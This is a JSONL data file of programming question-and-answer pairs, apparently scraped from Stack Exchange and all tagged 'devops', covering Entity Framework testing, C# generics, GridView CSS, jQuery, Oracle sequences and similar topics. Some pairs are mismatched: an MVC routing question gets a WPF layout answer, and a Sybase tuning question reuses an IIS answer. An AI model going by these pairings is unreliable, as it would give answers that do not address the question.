{"id": "hf_e3e50d43ad66", "question": "<p>I've been playing with ADO.NET Entity Framework lately, and I find that it suits my needs for a project I'm developing. I also find cool its non-invasive nature.</p>\n\n<p>After generating a data model from an existing database you are faced with the task of integrating the generated model and your business logic. More specifically, I'm used to integration-test my classes that interact with the data store via mocks/stubs of the DAL interfaces. The problem is that you cannot do this using the ADO.NET Entity Framework because the entities it generates are simple classes with no interface.</p>\n\n<p>The question is: how do I apply a <strong>TDD approach</strong> to the development of an application that uses ADO.NET Entity Framework? Is this even possible or should I migrate to another DAL-generation toolset?</p>\n", "question_body": "", "answer": "\"The tight coupling of the persistence\n  infrastructure to the entity classes\n  largely eliminates the ability to\n  efficiently use very tight feedback\n  cycles on the business logic with\n  automated testing. In its current\n  state, EF entity classes cannot be\n  effectively unit tested independently\n  of the database.\nThe efficiency of automated unit\n  testing of behavioral objects is\n  largely a matter of how easy the\n  mechanics of test data setup are and\n  how quickly the tests can be executed.\n  Using the actual database will make\n  test data setup more laborious,\n  introduce data to satisfy relational\n  constraints that are not germane to\n  the test, and make test execution an\n  order of magnitude slower.\nA team’s ability to do evolutionary\n  design and incremental delivery is\n  damaged by the Entity Framework’s\n  inattention to fundamental software\n  design principles like Separation of\n  Concerns.\"\nBlatantly stolen from here:\nhttp://efvote.wufoo.com/forms/ado-net-entity-framework-vote-of-no-confidence/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.839116"}
{"id": "hf_2ecdadcbd8d0", "question": "<p>I need to know if I can create a file in a specific folder, but there are too many things to check such as permissions, duplicate files, etc. \nI'm looking for something like <code>File.CanCreate(@\"C:\\myfolder\\myfile.aaa\"</code>), but haven't found such a method.\nThe only thing I thought is to try to create a dummy file and check for exceptions but this is an ungly solution that also affects performance.\nDo you know a better solution?</p>\n", "question_body": "", "answer": "In reality, creating a dummy file isn't going to have a huge performance impact in most applications. Of course, if you have advanced permissions with create but not destroy it might get a bit hairy...\nGuids are always handy for random names (to avoid conflicts) - something like:\n```\n```\nstring file = Path.Combine(dir, Guid.NewGuid().ToString() + \".tmp\");\n// perhaps check File.Exists(file), but it would be a long-shot...\nbool canCreate;\ntry\n{\n    using (File.Create(file)) { }\n    File.Delete(file);\n    canCreate = true;\n}\ncatch\n{\n    canCreate = false;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.891608"}
{"id": "hf_e846a5972d67", "question": "<p>Aloha</p>\n\n<p>I have a method with (pseudo) signature:</p>\n\n<pre><code>public static T Parse&lt;T&gt;(string datadictionary) where T : List&lt;U&gt;\n</code></pre>\n\n<p>This doesn't build. How can I restrict the  in the method to accept only generic List&lt;> objects (which should of cource not contain T's but something else :)</p>\n\n<p>I need to restrict the type of T because I need to call a method on it in this code. The type passed in is a custom collection (based on List).</p>\n\n<pre><code>public class MyCollection&lt;T&gt; : List&lt;T&gt; where T: MyClass, new()\n{\n    public void Foo();\n}\n\n\npublic static T Parse&lt;T&gt;(string datadictionary) where T : MyCollection&lt;U&gt;\n{\n    T.Foo();\n}\n</code></pre>\n\n<p>-Edoode</p>\n", "question_body": "", "answer": "Well, you can have two type parameters:\n```\n```\npublic static T Parse<T, U>(string datadictionary) where T : List<U>\n```\n```\nThat way you'll also actually know what U is (in a compile-time manner)...\nEDIT: Alternatively (and better), just specify the element type and change the return type:\n```\n```\npublic static List<T> Parse<T>(string datadictionary)\n```\n```\ne.g.\n```\n```\nList<int> data = Parse<int>(whatever);\n```\n```\nNote that you may wish to change from\n```\nList<T>\n```\nto\n```\nIList<T>\n```\nor even a broader interface.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.926253"}
{"id": "hf_6b891d0bb95d", "question": "<p>If you have a route:</p>\n\n<pre><code>routes.MapRoute(\"search\", \"{controller}/{action}/{filter1}/{filter2}/{filter3}\", _\n  New With {.filter1 = \"\", .filter2 = \"\", .filter3 = \"\"})\n</code></pre>\n\n<p>then in a view satisfied by the route pattern with a url of <code>/member/search/dev/phil/hoy</code>, when you attempt to create another route url with only <code>filter1</code> present i.e.</p>\n\n<pre><code>&lt;%=Url.RouteUrl(New RouteValueDictionary(\n  New With {.controller=\"member\",.action=\"search\", .filter1=\"dev\"}))%&gt;\n</code></pre>\n\n<p>the result is the current route <code>/member/search/dev/phil/hoy</code>, not the expected trimmed route <code>/member/search/dev</code> </p>\n\n<p>I have managed to work round the issue by using <code>RouteTable.Routes.GetVirtualPath</code> method directly, but does anyone know why it works this way or is it perhaps a bug?</p>\n", "question_body": "", "answer": "Some people use nested\n```\nStackPanel\n```\ns to \"solve\" this problem, but IMHO that just introduces another problem (code bloat). I think the best way to solve this is to write your own panel that lays out children consecutively in columns. I did this on a previous project and it has a number of advantages:\nMore readable and terse XAML\nEasier to maintain XAML\nFaster performance\nThe usage looked something like this:\n```\n```\n<local:FieldPanel>\n    <Label>Field 1:</Label>\n    <TextBox/>\n\n    <Label>Field 2:</Label>\n    <TextBox/>\n\n    <Label>Field 3:</Label>\n    <TextBox/>\n</local:FieldPanel>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.962274"}
{"id": "hf_c01cfc7c7e68", "question": "<ul>\n<li>I autoformat a GridView in ASP.NET.</li>\n<li><p>It looks nice but the headers all run together like this:</p>\n\n<p><strong>idfirstNamelastNameage</strong></p></li>\n<li><p>I set CellPadding=\"5\" but it does nothing.</p></li>\n</ul>\n\n<p>How can I set the cell padding of the headers and all cells?</p>\n\n<p>A D D E N D U M :</p>\n\n<p>Thanks Andrew, I fixed it with this. Works in Firefox and Explorer 7:</p>\n\n<pre><code>.gridview2 tr td\n{\n    padding: 5px;\n    border: 1px solid #ddd;\n}\n.gridview2 tr th\n{\n    padding: 5px;\n}\n</code></pre>\n", "question_body": "", "answer": "You should set a cssclass and use css to control it. The only property of a table you cant fully control cross browser with css is cellspacing.\n```\n```\n.myTableClass tr th {\n    padding: 5px;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:32.985607"}
{"id": "hf_7e346c9409f9", "question": "<p>i've got a site with a lot of referenced .js-Files; those are rather small files, but I want to keep my methods separated by topic/functionality.</p>\n\n<p>Is it better to keep all the methods in one .js-File or is it no problem to have many (~ 20 - 30) small files all including only some lines?</p>\n", "question_body": "", "answer": "By all means keep them separate for development, but you should consider bundling them together into one file for production.\nThere is a nice discussion at\nsitepoint.com\nFor each of these files, an HTTP\n  request is sent to the server, and\n  then the browser awaits a response\n  before requesting the next file.\n  Limits (or limitations) of the browser\n  generally prevent parallel downloads.\n  This means that for each file, you\n  wait for the request to reach the\n  server, the server to process the\n  request, and the reply (including the\n  file content itself) to reach you. Put\n  end to end, a few of these can make a\n  big difference to page load times.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.033744"}
{"id": "hf_1a185897b127", "question": "<p>I have a bunch of rows in Excel that I want to paste into a new table in MS SQL. Is there a simple way ?</p>\n", "question_body": "", "answer": "The simplest way is to create a computed column in XLS that would generate the syntax of the insert statement.\nThen copy these insert into a text file and then execute on the SQL.\nThe other alternatives are to buy database connectivity add-on's for Excel and write VBA code to accomplish the same.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.082170"}
{"id": "hf_45bbf7d44727", "question": "<p>What's better for DSL: TCL or Lisp? \nWhat can you say about Java(C#)-TCL binding versus Lisp(Scheme)?\nWhat DSL tool is applicable for .Net development? (excepting Microsoft DSL tools)</p>\n", "question_body": "", "answer": "It really depends on who will use the DSL.\nIf you are expecting non-IT domain experts then something simple and straightforward like TCL would be recommended. Explaining the joys of LISP to a non IT graduate would be a serious problem as would debugging a large LISP program written by someone who hasnt grokked LISP.\nEqually expaining to someone that b = a + 1 is written B = INCR(A) isnt such a good idea either.\nI would recommend Python, you can embed the domain specific code in one or two specialist classes. You have a language where non-IT users can code simple readable programs, and, where there are no limits on what an IT specialist can code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.107080"}
{"id": "hf_19b584b7b54b", "question": "<p>I am developing an application and want to display a form that will be filled in if editing the form, but will not be if the form will be a new entry.  I believe the least verbose way of doing this is to have just one form and to suppress any errors for echoing my variables so that nothing will be printed if it is a new form (since the variables will not exist if it is a new form).  For example:</p>\n\n<pre><code>&lt;?php \nif ( ! $new_item) {\n    $variable = 'Example';\n}\n?&gt;\n&lt;form&gt;\n    &lt;input type=\"text\" name=\"inputbox\" value=\"&lt;?php echo @$variable; ?&gt;\" /&gt;\n&lt;/form&gt;\n</code></pre>\n\n<p>Is this a good practice, or is there a better way of doing it?  Should I make separate views for the new items and for the items to be edited?  What are the performance repercussions of doing this?</p>\n", "question_body": "", "answer": "I think the best way is to always set the variable\n```\n```\nif ( ! $new_item) {\n    $variable = 'Example';\n} else {\n    $variable = 'Default value'; \n    //or\n    $variable = '';\n}\n```\n```\nUsing the\n```\n@\n```\nerror suppression is slow.\nedit\nNote that when you print the variable into the input value attribute, you should first call\n```\nhtmlentities()\n```\nor\n```\nhtmlspecialchars()\n```\non it.\n2nd edit\nYou say in your comment you are fetching the data as on object, in that case you could also do:\n```\n```\nclass example {\n    public $somefield = 'default value';\n}\n```\n```\nThen if it is an existing record you are editing do something like this, which will cause the returned object to be an instance of 'example':\n```\n```\n$record = mysql_fetch_object($result, 'example');\n```\n```\nor if it is a new record instanciate it yourself:\n```\n```\n$record = new example();\n```\n```\nThen you always know\n```\n$record->somefield\n```\nwill be set and you can do :\n```\n```\n<form>\n    <input type=\"text\" name=\"somefield\" value=\"<?php echo htmlspecialchars($record->somefield); ?>\" />\n</form>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.131331"}
{"id": "hf_be226523f9bc", "question": "<p>What are the other ways of achieving auto-increment in oracle other than use of triggers?</p>\n", "question_body": "", "answer": "You can create and use oracle sequences. The syntax and details are at\nhttp://www.techonthenet.com/oracle/sequences.php\nAlso read the article\nhttp://rnyb2.blogspot.com/2006/02/potential-pitfall-with-oracle-sequence.html\nto understand the limitations with respect to AUTONUMBER in other RDBMS", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.156508"}
{"id": "hf_fe6da86ada1a", "question": "<p>How can I validate a SOAP response against an XSD file that defines the response schema. the web service I'm calling has an XMLDocument as input and output, so can't use WSDL for response schema validation.</p>\n", "question_body": "", "answer": "I case you still need this (valid for SOAP UI version 2.5.1): \nFile, Preferences, Editor Setting, Validate Response.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.208679"}
{"id": "hf_229dde681f91", "question": "<p>Does anybody know why</p>\n\n<pre><code>  vector&lt;int&gt; test(10);\n  int a=0;\n\n  for_each(test.begin(),test.end(),(_1+=var(a),++var(a)));\n\n  for_each(test.begin(),test.end(),(cout &lt;&lt; _1 &lt;&lt; \" \"));\n  cout &lt;&lt; \"\\n\"\n</code></pre>\n\n<p>Gives :  \"0 1 2 3 4 5 6 7 8 9\"</p>\n\n<p>but </p>\n\n<pre><code>  transform(test.begin(),test.end(),test.begin(), (_1+=var(a),++var(a)));\n  ...(as before)\n</code></pre>\n\n<p>Gives : \"1 2 3 4 5 6 7 8 9 10\"</p>\n\n<p>?</p>\n", "question_body": "", "answer": "Comma operator evaluates left to right, so the result of the\n```\n```\n_1+=var(a), ++var(a)\n```\n```\nis ++var(a), which you'll store using the transform version.\nfor_each:\n_1 += var(a) is evaluated, updating your sequence (via the lambda _1), then ++var(a) is evaluated, but this has no effect on your sequence.\ntransform:\n_1+=var(a) is evaluated, updating your sequence (just like before), then ++var(a) is evaluated, this also gives the result of the whole expression, then that is used to update your sequence again (via the transform)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.341123"}
{"id": "hf_c6b4871e5eeb", "question": "<p>As the question says, how do I add a new option to a DropDownList using jQuery?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "With the plugin:\njQuery Selection Box\n. You can do this:\n```\n```\nvar myOptions = {\n        \"Value 1\" : \"Text 1\",\n        \"Value 2\" : \"Text 2\",\n        \"Value 3\" : \"Text 3\"\n    }\n    $(\"#myselect2\").addOption(myOptions, false);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.377264"}
{"id": "hf_2ef165f39df0", "question": "<p>Does the opening Window enhance an application's attractiveness? Should it be a picture or bland Blue and White?</p>\n", "question_body": "", "answer": "Use the default OS theme colors.  Anything else will be attractive to certain groups of people, and ugly to others (who will complain\nvery loudly\nabout how ugly they find it).  If you stick with the OS theme colors, then at least your application's appearance will not be something you'll be criticized over.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.416471"}
{"id": "hf_f0d1e865d372", "question": "<p>There seem to be many options to create an XML document in .NET. What's the best approach?</p>\n", "question_body": "", "answer": "I would personally use LINQ to XML if I possibly could. It's\nmuch\nnicer than the DOM API. Of course, it does rely on you using .NET 3.5...\nNote that your String.Format solution breaks down if you have any text which would need escaping. Admittedly I can't think of any car makes and models including\n```\n&\n```\nor\n```\n<\n```\netc, but in a more general case it's a real issue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.452899"}
{"id": "hf_9cb3ccf21a93", "question": "<p>For our school project, we are tasked to define a design document describing the architecture of a PHP application.</p>\n\n<p>We are free te decide what to include in the document.</p>\n\n<p>Our professor suggested, lots of (UML) diagrams. </p>\n\n<p>He also asked us to consider class diagrams, but with care, as PHP is not fully object oriented.</p>\n\n<p>My question: Is a Domain Driven Object Oriented Design feasible for a PHP application? What to consider when doing OO in PHP? What are the pro's and con's? Any helpful resources on OO in PHP and PHP best-practices?</p>\n", "question_body": "", "answer": "IMHO it's pretty difficult to describe the architecture of any application without knowing what the application is supposed to do. All applications (PHP or otherwise) of any complexity look different.\nSecondly, PHP5 gives you classes/objects and the usual plethora of OO gubbings - so to describe it as 'not fully object orientated' is misleading I think. If you mean you can take a procedural approach with out being restricted to objects then yes, but if you wanted everything to be an object then that's your choice.\nIs DDD feasible for PHP? Yes, of course. A particular approach to architecture is not usually dependent on technology. Best practices, pros/cons of OO design apply to most languages - PHP leaves you pretty free to decide how to structure your code.\nYou may find this\nBest Practices\ntalk from the PHP site useful ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.512267"}
{"id": "hf_94c33cb0f41b", "question": "<p>I would like to change all the names of the attributes where <code>class=\"testingCase\"</code> throughout all my whole html document.</p>\n\n<p>e.g. Change:</p>\n\n<pre><code>&lt;a class=\"testingCase\" href=\"#\" title=\"name of testing case\"&gt;Blabla&lt;/a&gt;\n&lt;a class=\"testingCase\" href=\"#\" title=\"name of another testing case\"&gt;Bloo&lt;/a&gt;\n</code></pre>\n\n<p>To this: </p>\n\n<pre><code>&lt;a class=\"testingCase\" href=\"#\" newTitleName=\"name of testing case\"&gt;Blabla&lt;/a&gt;`\n&lt;a class=\"testingCase\" href=\"#\" newTitleName=\"name of another testing case\"&gt;Bloo&lt;/a&gt;`\n</code></pre>\n\n<p>I was thinking of a find and replace but that seems a lot of code for something so easy. Is there a jQuery function for this or a simple method?</p>\n", "question_body": "", "answer": "There is no built-in method/function to \"rename\" an attribute in javascript, but you can create new attributes and remove other ones...\n```\n```\n$('a.testingCase[title]').each(function() {\n  var $t = $(this);\n  $t.attr({\n      newTitleName: $t.attr('title')\n    })\n    .removeAttr('title');\n});\n```\n```\n```\n```\n<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js\"></script>\n<a class=\"testingCase\" href=\"#\" title=\"name of testing case\">Blabla</a>\n<a class=\"testingCase\" href=\"#\" title=\"name of another testing case\">Bloo</a>\n```\n```\nEdit: added in the bit that makes it only select\n```\na\n```\nelements with class=\"testingCase\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.536832"}
{"id": "hf_6f4baf981a22", "question": "<p>On Apache/PHP sites if I want to put a senstive file within my website folders, I put a .htaccess file in that folder so users can't download the sensitive file.</p>\n\n<p><strong>Is there a similar practice for IIS/ASP.NET sites</strong>, i.e. if I have a shared hosting account and don't have access to IIS server. Can I do this in web.config for instance?</p>\n\n<p>e.g. the ASPNETDB.MDF file that ASP.NET Configuration put in the App_Data directory. I would assume this is protected by default but where can I change the settings for this folder as I could with a .htaccess file?</p>\n", "question_body": "", "answer": "There are some things you can do with web.config like defining security settings etc...\nOther times you have to use HttpModules or HttpHandlers, look here:\nhttp://msdn.microsoft.com/en-us/library/aa719858(VS.71).aspx\nIf not, you can find different ISAPI, but in this case you need access to IIS.\nFor example, the ISAPI for emulating rewrite mod apache:\n> http://www.codeplex.com/IIRF\nThe other question, yes ASPNETDB.MDF in APP_Data is protected normally (it depends on your administrator). To change the path, change the connectionstring.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.560786"}
{"id": "hf_c897179f3ca5", "question": "<p>I am looking for any tool which will allow the performance testing/tuning of Sybase nested stored procedures. There are many tools around and of course Sybase's own for performance tuning and testing SQL but none of these can handle nested stored procedures (i.e. a stored proc calling another stored proc). Does anyone have/know of such a tool?</p>\n", "question_body": "", "answer": "There are some things you can do with web.config like defining security settings etc...\nOther times you have to use HttpModules or HttpHandlers, look here:\nhttp://msdn.microsoft.com/en-us/library/aa719858(VS.71).aspx\nIf not, you can find different ISAPI, but in this case you need access to IIS.\nFor example, the ISAPI for emulating rewrite mod apache:\n> http://www.codeplex.com/IIRF\nThe other question, yes ASPNETDB.MDF in APP_Data is protected normally (it depends on your administrator). To change the path, change the connectionstring.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.584708"}
{"id": "hf_8eb12479a287", "question": "<p>I'd like to know when i should and shouldn't be wrapping things in a USING block.</p>\n\n<p>From what I understand, the compiler translates it into a try/finally, where the finally calls Dispose() on the object.</p>\n\n<p>I always use a USING around database connections and file access, but its more out of habit rather than a 100% understanding. I know you should explicity (or with a using) Dispose() objects which control resources, to ensure they are released instantly rather than whenever the CLR feels like it, but thats where my understanding breaks down.</p>\n\n<p>Are IDisposables not disposed of when they go out of scope?</p>\n\n<p>Do I only need to use a USING when my object makes use of Dispose to tidy itself up?</p>\n\n<p>Thanks</p>\n\n<p>Edit: I know there are a couple of other posts on the USING keyword, but I'm more interested in answers relating the the CLR and exactly whats going on internally</p>\n\n<p>Andrew</p>\n", "question_body": "", "answer": "No,\n```\nIDisposable\n```\nitems are not disposed when they go out of scope. It is for precisely this reason that we need\n```\nIDisposable\n```\n- for deterministic cleanup.\nThey will\neventually\nget garbage collected, and if there is a finalizer it will (maybe) be called - but that could be a long time in the future (not good for connection pools etc). Garbage collection is dependent on memory pressure - if nothing wants extra memory, there is no need to run a GC cycle.\nInterestingly (perhaps) there are some cases where \"using\" is a pain - when the offending class throws an exception on\n```\nDispose()\n```\nsometimes. WCF is an offender of this. I have discussed this topic (with a simple workaround)\nhere\n.\nBasically - if the class implements\n```\nIDisposable\n```\n, and you\nown\nan instance (i.e. you created it or whatever), it is your job to ensure that it gets disposed. That might mean via \"using\", or it might mean passing it to another piece of code that assumes responsibility.\nI've actually seen debug code of the type:\n```\n```\n#if DEBUG\n    ~Foo() {\n        // complain loudly that smoebody forgot to dispose...\n    }\n#endif\n```\n```\n(where the\n```\nDispose\n```\ncalls\n```\nGC.SuppressFinalize\n```\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.612333"}
{"id": "hf_63d38cc72833", "question": "<p>I mainly use the MySQL GUI tools. This allows me to easily see the results in a table as well as to quick edits and bookmark frequently run queries. This suits my needs far better than the command line.</p>\n\n<p>I remember when I used to do this on Oracle DBs years ago I could put variables in the query itself, so that when running the query I got prompted for the variable.</p>\n\n<p>e.g.</p>\n\n<pre><code>select email from users where login = [VAR]\n</code></pre>\n\n<p>And when you run the query the system prompts you for VAR and you can type in <code>john_smith14</code> and it executes the query. This is really useful for adhoc queries which you run a lot.</p>\n\n<p>Yes I know using shell scripts and the command line this could be done more easily, but for several reasons aside from this, shell scripts are not a good solution for me.</p>\n", "question_body": "", "answer": "I'm not sure if there's a way to get the GUI tools to prompt you for a value, but you can certainly use variables in MySQL.\n```\n```\nSET @myVar='john_smith14';\nSELECT email FROM users WHERE login = @myVar;\n```\n```\nThat might even suit you better, since you don't have to keep typing in the variable value each time..?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.662144"}
{"id": "hf_f963e8840434", "question": "<p>I want to develop a mobile web application using asp.net 3.5 that can be viewed on an iPhone but there is no longer a template in VS2008 to enable mobile development. Can this be done ?</p>\n", "question_body": "", "answer": "the iphone uses the \"regular\" version of your website so developing a \"mobile\" version would nto accomplish what you're looking for. You should check the browser headers and redirect people to the iPhone version of your site if you detect mobile safari.\nhttp://iphone.facebook.com/\nAnother option (if you're using MVC) is to have your controller detect the browser and show a different view if it catches mobile safari. This way you wouldn't need a duplicate site, just two sets of views.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.690256"}
{"id": "hf_70d0d3e04415", "question": "<p>Why not use partial class to build the ViewModel?</p>\n\n<p>Since the definition of viewmodel classes have some definition of the data classes of datamodel, why not try to reduce some work, extending or making partial classes of the datamodel, completing them with command and etc.</p>\n", "question_body": "", "answer": "In some cases this may be useful, but generally the ViewModel (or PresentationModel) has a different set of concerns that would muddle the rest of the model.\nFor example, imagine that you have an object model that represents an order processing workflow (everybody's favorite example.) This same model might be underlying a WPF, a web site, and perhaps even other services.\nWithin the WPF application there will be WPF-specific concerns for presentation. Adding these concerns to primary model (even as partial classes) results in a violation of SRP. Ultimately, it would obscure the intent of model and make it difficult for consumers of the model to know which parts of it where essential and which were incidental.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.749750"}
{"id": "hf_fd38cc20c7a4", "question": "<p>I am using NetBeans for PHP 6.5.</p>\n\n<p>In my code I frequently use the following type of command:</p>\n\n<pre><code>if (($row = $db-&gt;get_row($sql))) {\n        return $row-&gt;folder;\n    } else {\n        return FALSE;\n    }\n</code></pre>\n\n<p>Netbeans tells me that I should not be using assignments in the IF statement.</p>\n\n<p>Why ?</p>\n", "question_body": "", "answer": "It's probably trying to help you avoid the dreaded typo:\n```\n```\nif(a = b)\n   //logic error\n```\n```\nAlthough I would expect an enviroment smart enough to warn you about that, to also be smart enough to have \"oh, don't worry about that case\" conditions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.773581"}
{"id": "hf_d8ceb6346cda", "question": "<p>I'm currently having a problem with a ShoppingCart for my customer.</p>\n\n<p>He wants to be able to add Text between the CartItems so I was wondering if there is some way to still only have one List.</p>\n\n<p>My solution would be to have two lists, one of type IList that gets iterated over when calculating Weight and overall Price of the Cart while having another IList that only exposes the necessary fields for displaying it in the ListView and that is a SuperType of CartItem. (But how do I then access additional fields for the listView, defaulting weight and price to 0 in the Description-Text-Class would break LSP).</p>\n\n<p>But having two lists somehow feels a bit odd (and still gives me problems), so I was wondering if I could do some sort of a TypedList where I specify the Type of each item.</p>\n\n<p>Any suggestions are welcome, I'm not really happy with both options.</p>\n", "question_body": "", "answer": "Use an interface:\n```\n```\nICartListItem\n```\n```\nAnd make your list be:\n```\n```\nList<ICartListItem>\n```\n```\nNow, create several types, have all of them implement this interface, and you can store them all safely in your list.\nAlternatively, if you want there to be some default logic in a CartItem, use a base class instead of an interface.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.797412"}
{"id": "hf_12d266bdc15d", "question": "<p>I am trying to build a server control that, depending on a \"QuestionTypeId\" display either a text box, date picker or Yes-No radio buttons. </p>\n\n<p>I have my control displaying how I want it to, but when the submit button is pressed on the form, the text box, date picker or radio buttons that were generated in the RenderContents method are all null.</p>\n\n<p>I have attempted to store the generated controls in view state, that stopped them being null, but the user inputs were not being stored.</p>\n\n<p>I will post code if it is needed. Just ask.</p>\n", "question_body": "", "answer": "When you add controls dynamically, you need to make sure they are recreated before the viewstate is restored.\nI haven't done this in a while, but from memory I think you should recreate your controls in the OnInit method. This happens before postback data has been loaded and before the controls have their values set from viewstate.\nIt may be worth doing some reading on the asp.net page lifecycle:\nhttp://msdn.microsoft.com/en-us/library/ms178472.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:33.838427"}
